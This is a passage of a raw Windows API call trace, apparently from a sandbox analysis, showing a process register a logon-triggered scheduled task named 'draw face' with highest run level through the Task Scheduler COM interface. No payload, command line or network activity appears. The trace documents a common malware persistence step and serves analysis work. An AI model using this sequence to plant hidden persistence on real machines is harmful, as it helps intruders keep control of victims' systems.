(HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db4a0 [0120.696] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.696] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0120.697] lstrlenW (lpString="LIMITED") returned 7 [0120.697] GetProcessHeap () returned 0x286ac7d0000 [0120.697] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x10) returned 0x286ac7da800 [0120.697] GetThreadLocale () returned 0x409 [0120.697] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0120.697] GetProcessHeap () returned 0x286ac7d0000 [0120.697] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db5c0 [0120.697] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.697] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0120.697] lstrlenW (lpString="HIGHEST") returned 7 [0120.697] GetProcessHeap () returned 0x286ac7d0000 [0120.697] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x10) returned 0x286ac7da920 [0120.697] GetThreadLocale () returned 0x409 [0120.697] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0120.697] GetProcessHeap () returned 0x286ac7d0000 [0120.697] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db680 [0120.697] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.697] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0120.697] lstrlenW (lpString="MINUTE") returned 6 [0120.697] GetProcessHeap () returned 0x286ac7d0000 [0120.697] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xe) returned 0x286ac7da8c0 [0120.697] GetThreadLocale () returned 0x409 [0120.697] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0120.697] GetProcessHeap () returned 0x286ac7d0000 [0120.697] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db4d0 [0120.697] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.697] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0120.697] lstrlenW (lpString="HOURLY") returned 6 [0120.698] GetProcessHeap () returned 0x286ac7d0000 [0120.698] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xe) returned 0x286ac7daae0 [0120.698] GetThreadLocale () returned 0x409 [0120.698] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0120.698] GetProcessHeap () returned 0x286ac7d0000 [0120.698] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db7a0 [0120.698] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.698] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0120.698] lstrlenW (lpString="DAILY") returned 5 [0120.698] GetProcessHeap () returned 0x286ac7d0000 [0120.698] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xc) returned 0x286ac7daa40 [0120.698] GetThreadLocale () returned 0x409 [0120.698] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0120.698] GetProcessHeap () returned 0x286ac7d0000 [0120.698] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db350 [0120.698] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.698] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0120.698] lstrlenW (lpString="WEEKLY") returned 6 [0120.698] GetProcessHeap () returned 0x286ac7d0000 [0120.698] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xe) returned 0x286ac7daa60 [0120.698] GetThreadLocale () returned 0x409 [0120.698] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0120.698] GetProcessHeap () returned 0x286ac7d0000 [0120.698] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db7d0 [0120.698] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.698] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0120.698] lstrlenW (lpString="MONTHLY") returned 7 [0120.698] GetProcessHeap () returned 0x286ac7d0000 [0120.699] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x10) returned 0x286ac7daac0 [0120.699] GetThreadLocale () returned 0x409 [0120.699] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0120.699] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.699] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0120.699] lstrlenW (lpString="ONCE") returned 4 [0120.699] GetProcessHeap () returned 0x286ac7d0000 [0120.699] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xa) returned 0x286ac7da8e0 [0120.699] GetThreadLocale () returned 0x409 [0120.699] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0120.699] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.699] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0120.699] lstrlenW (lpString="ONSTART") returned 7 [0120.699] GetThreadLocale () returned 0x409 [0120.699] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0120.699] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.699] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0120.699] lstrlenW (lpString="ONLOGON") returned 7 [0120.699] GetThreadLocale () returned 0x409 [0120.699] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0120.700] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.700] GetProcessHeap () returned 0x286ac7d0000 [0120.700] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x1fc) returned 0x286ac7dabc0 [0120.702] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.702] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0120.702] lstrlenW (lpString="First") returned 5 [0120.702] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.702] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0120.703] lstrlenW (lpString="Second") returned 6 [0120.703] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.703] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0120.703] lstrlenW (lpString="Third") returned 5 [0120.703] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.703] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0120.703] lstrlenW (lpString="Fourth") returned 6 [0120.703] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.703] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0120.703] lstrlenW (lpString="Last") returned 4 [0120.703] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.703] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0120.703] lstrlenW (lpString="First") returned 5 [0120.703] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.703] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0120.703] lstrlenW (lpString="Second") returned 6 [0120.703] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.703] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0120.703] lstrlenW (lpString="Third") returned 5 [0120.703] GetProcessHeap () returned 0x286ac7d0000 [0120.703] GetProcessHeap () returned 0x286ac7d0000 [0120.703] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da8e0) returned 1 [0120.703] GetProcessHeap () returned 0x286ac7d0000 [0120.703] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da8e0) returned 0xa [0120.703] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da8e0) returned 1 [0120.704] GetProcessHeap () returned 0x286ac7d0000 [0120.704] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xc) returned 0x286ac7da8e0 [0120.704] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.704] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0120.704] lstrlenW (lpString="Fourth") returned 6 [0120.704] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.704] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0120.704] lstrlenW (lpString="Last") returned 4 [0120.705] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xb17668c6a0, cchData=128 | out: lpLCData="0") returned 2 [0120.705] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.705] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0120.705] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0120.705] GetProcessHeap () returned 0x286ac7d0000 [0120.705] GetProcessHeap () returned 0x286ac7d0000 [0120.705] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da800) returned 1 [0120.705] GetProcessHeap () returned 0x286ac7d0000 [0120.705] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da800) returned 0x10 [0120.705] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da800) returned 1 [0120.705] GetProcessHeap () returned 0x286ac7d0000 [0120.705] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x16) returned 0x286ac7da9c0 [0120.705] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xb17668c6c0, cchData=128 | out: lpLCData="0") returned 2 [0120.706] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.706] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0120.706] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0120.706] GetProcessHeap () returned 0x286ac7d0000 [0120.706] GetProcessHeap () returned 0x286ac7d0000 [0120.706] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da920) returned 1 [0120.706] GetProcessHeap () returned 0x286ac7d0000 [0120.706] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da920) returned 0x10 [0120.706] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da920) returned 1 [0120.706] GetProcessHeap () returned 0x286ac7d0000 [0120.706] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x16) returned 0x286ac7dab40 [0120.706] GetLocalTime (in: lpSystemTime=0xb17668c8f8 | out: lpSystemTime=0xb17668c8f8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2c, wMilliseconds=0x51)) [0120.706] GetLocalTime (in: lpSystemTime=0xb17668d2e8 | out: lpSystemTime=0xb17668d2e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2c, wMilliseconds=0x51)) [0120.706] lstrlenW (lpString="") returned 0 [0120.706] lstrlenW (lpString="") returned 0 [0120.706] lstrlenW (lpString="") returned 0 [0120.706] lstrlenW (lpString="") returned 0 [0120.706] lstrlenW (lpString="") returned 0 [0120.706] lstrlenW (lpString="") returned 0 [0120.707] lstrlenW (lpString="") returned 0 [0120.707] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0120.722] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0120.918] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xb17668d040 | out: ppv=0xb17668d040*=0x286aca85730) returned 0x0 [0120.933] TaskScheduler:ITaskService:Connect (This=0x286aca85730, serverName=0xb17668d130*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xb17668d100*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xb17668d0e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xb17668d0c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0120.972] TaskScheduler:ITaskService:GetFolder (in: This=0x286aca85730, Path=0x0, ppFolder=0xb17668d220 | out: ppFolder=0xb17668d220*=0x286aca858e0) returned 0x0 [0120.975] TaskScheduler:ITaskService:NewTask (in: This=0x286aca85730, flags=0x0, ppDefinition=0xb17668d1f8 | out: ppDefinition=0xb17668d1f8*=0x286aca85960) returned 0x0 [0120.976] ITaskDefinition:get_Actions (in: This=0x286aca85960, ppActions=0xb17668d140 | out: ppActions=0xb17668d140*=0x286aca859f0) returned 0x0 [0120.976] IActionCollection:Create (in: This=0x286aca859f0, Type=0, ppAction=0xb17668d180 | out: ppAction=0xb17668d180*=0x286aca85e00) returned 0x0 [0120.976] IUnknown:Release (This=0x286aca85e00) returned 0x1 [0120.976] IUnknown:Release (This=0x286aca859f0) returned 0x1 [0120.977] ITaskDefinition:get_Triggers (in: This=0x286aca85960, ppTriggers=0xb17668ccf0 | out: ppTriggers=0xb17668ccf0*=0x286aca85cb0) returned 0x0 [0120.977] ITriggerCollection:Create (in: This=0x286aca85cb0, Type=9, ppTrigger=0xb17668ccd8 | out: ppTrigger=0xb17668ccd8*=0x286aca85e70) returned 0x0 [0120.977] IUnknown:QueryInterface (in: This=0x286aca85e70, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xb17668ccd0 | out: ppvObject=0xb17668ccd0*=0x286aca85e70) returned 0x0 [0120.977] IUnknown:Release (This=0x286aca85e70) returned 0x2 [0120.977] _vsnwprintf (in: _Buffer=0xb17668cc20, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xb17668cbf8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0120.978] ITrigger:put_StartBoundary (This=0x286aca85e70, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0120.978] lstrlenW (lpString="") returned 0 [0120.978] lstrlenW (lpString="") returned 0 [0120.978] lstrlenW (lpString="") returned 0 [0120.978] lstrlenW (lpString="") returned 0 [0120.978] IUnknown:Release (This=0x286aca85e70) returned 0x1 [0120.978] IUnknown:Release (This=0x286aca85cb0) returned 0x1 [0120.978] ITaskDefinition:get_Settings (in: This=0x286aca85960, ppSettings=0xb17668d180 | out: ppSettings=0xb17668d180*=0x286aca85b30) returned 0x0 [0120.978] lstrlenW (lpString="") returned 0 [0120.978] IUnknown:Release (This=0x286aca85b30) returned 0x3 [0120.978] GetLocalTime (in: lpSystemTime=0xb17668d038 | out: lpSystemTime=0xb17668d038*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2c, wMilliseconds=0x15a)) [0120.978] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0120.979] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xb17668d050, nSize=0xb17668d028 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xb17668d028) returned 0x1 [0120.979] ITaskDefinition:get_RegistrationInfo (in: This=0x286aca85960, ppRegistrationInfo=0xb17668d020 | out: ppRegistrationInfo=0xb17668d020*=0x286aca85a70) returned 0x0 [0120.979] IRegistrationInfo:put_Author (This=0x286aca85a70, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0120.979] _vsnwprintf (in: _Buffer=0xb17668d050, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xb17668cfe8 | out: _Buffer="2023-09-19T17:15:44") returned 19 [0120.979] IRegistrationInfo:put_Date (This=0x286aca85a70, Date="2023-09-19T17:15:44") returned 0x0 [0120.979] IUnknown:Release (This=0x286aca85a70) returned 0x1 [0120.980] malloc (_Size=0x18) returned 0x286aca85f90 [0120.980] free (_Block=0x286aca85f90) [0120.980] lstrlenW (lpString="") returned 0 [0120.980] ITaskDefinition:get_Principal (in: This=0x286aca85960, ppPrincipal=0xb17668d1e8 | out: ppPrincipal=0xb17668d1e8*=0x286aca85d20) returned 0x0 [0120.980] IPrincipal:put_RunLevel (This=0x286aca85d20, RunLevel=1) returned 0x0 [0120.980] IUnknown:Release (This=0x286aca85d20) returned 0x1 [0120.980] malloc (_Size=0x18) returned 0x286aca85f90 [0120.980] ITaskFolder:RegisterTaskDefinition (in: This=0x286aca858e0, Path="draw face", pDefinition=0x286aca85960, flags=6, UserId=0xb17668d290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xb17668d270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xb17668d2b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xb17668d250 | out: ppTask=0xb17668d250*=0x286aca86fd0) returned 0x0 [0121.043] free (_Block=0x286aca85f90) [0121.043] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.043] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0121.043] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0121.043] GetProcessHeap () returned 0x286ac7d0000 [0121.043] GetProcessHeap () returned 0x286ac7d0000 [0121.043] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da8c0) returned 1 [0121.043] GetProcessHeap () returned 0x286ac7d0000 [0121.044] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da8c0) returned 0xe [0121.044] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da8c0) returned 1 [0121.044] GetProcessHeap () returned 0x286ac7d0000 [0121.044] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x82) returned 0x286ac7f5a10 [0121.044] _vsnwprintf (in: _Buffer=0xb17668d900, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xb17668d198 | out: _Buffer="SUCCESS: The scheduled task \"draw face\" has successfully been created.\n") returned 71 [0121.044] __iob_func () returned 0x7ffa7941e210 [0121.044] _fileno (_File=0x7ffa7941e240) returned -2 [0121.044] _errno () returned 0x286aca80840 [0121.044] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0121.044] RtlRestoreLastWin32Error () returned 0xb176896000 [0121.044] lstrlenW (lpString="SUCCESS: The scheduled task \"draw face\" has successfully been created.\n") returned 71 [0121.044] GetConsoleOutputCP () returned 0x0 [0121.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"draw face\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0121.044] GetConsoleOutputCP () returned 0x0 [0121.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"draw face\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"draw face\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0121.044] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 71 [0121.044] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0121.045] IUnknown:Release (This=0x286aca86fd0) returned 0x0 [0121.045] TaskScheduler:IUnknown:Release (This=0x286aca85960) returned 0x0 [0121.045] TaskScheduler:IUnknown:Release (This=0x286aca858e0) returned 0x0 [0121.045] TaskScheduler:IUnknown:Release (This=0x286aca85730) returned 0x0 [0121.045] lstrlenW (lpString="") returned 0 [0121.045] GetProcessHeap () returned 0x286ac7d0000 [0121.045] GetProcessHeap () returned 0x286ac7d0000 [0121.045] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7dabc0) returned 1 [0121.045] GetProcessHeap () returned 0x286ac7d0000 [0121.045] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7dabc0) returned 0x1fc [0121.046] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7dabc0) returned 1 [0121.046] GetProcessHeap () returned 0x286ac7d0000 [0121.046] GetProcessHeap () returned 0x286ac7d0000 [0121.046] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7dab20) returned 1 [0121.046] GetProcessHeap () returned 0x286ac7d0000 [0121.046] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7dab20) returned 0x16 [0121.046] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7dab20) returned 1 [0121.046] GetProcessHeap () returned 0x286ac7d0000 [0121.047] GetProcessHeap () returned 0x286ac7d0000 [0121.047] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da980) returned 1 [0121.047] GetProcessHeap () returned 0x286ac7d0000 [0121.047] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da980) returned 0x18 [0121.047] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da980) returned 1 [0121.047] GetProcessHeap () returned 0x286ac7d0000 [0121.047] GetProcessHeap () returned 0x286ac7d0000 [0121.047] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db9b0) returned 1 [0121.047] GetProcessHeap () returned 0x286ac7d0000 [0121.047] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db9b0) returned 0x20 [0121.047] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db9b0) returned 1 [0121.047] GetProcessHeap () returned 0x286ac7d0000 [0121.047] GetProcessHeap () returned 0x286ac7d0000 [0121.047] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d4350) returned 1 [0121.048] GetProcessHeap () returned 0x286ac7d0000 [0121.048] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d4350) returned 0xa0 [0121.048] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d4350) returned 1 [0121.048] GetProcessHeap () returned 0x286ac7d0000 [0121.048] GetProcessHeap () returned 0x286ac7d0000 [0121.048] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d4330) returned 1 [0121.048] GetProcessHeap () returned 0x286ac7d0000 [0121.048] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d4330) returned 0x18 [0121.048] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d4330) returned 1 [0121.048] GetProcessHeap () returned 0x286ac7d0000 [0121.048] GetProcessHeap () returned 0x286ac7d0000 [0121.048] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db470) returned 1 [0121.048] GetProcessHeap () returned 0x286ac7d0000 [0121.048] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db470) returned 0x20 [0121.049] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db470) returned 1 [0121.049] GetProcessHeap () returned 0x286ac7d0000 [0121.049] GetProcessHeap () returned 0x286ac7d0000 [0121.049] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3c40) returned 1 [0121.049] GetProcessHeap () returned 0x286ac7d0000 [0121.049] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3c40) returned 0x86 [0121.050] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3c40) returned 1 [0121.050] GetProcessHeap () returned 0x286ac7d0000 [0121.050] GetProcessHeap () returned 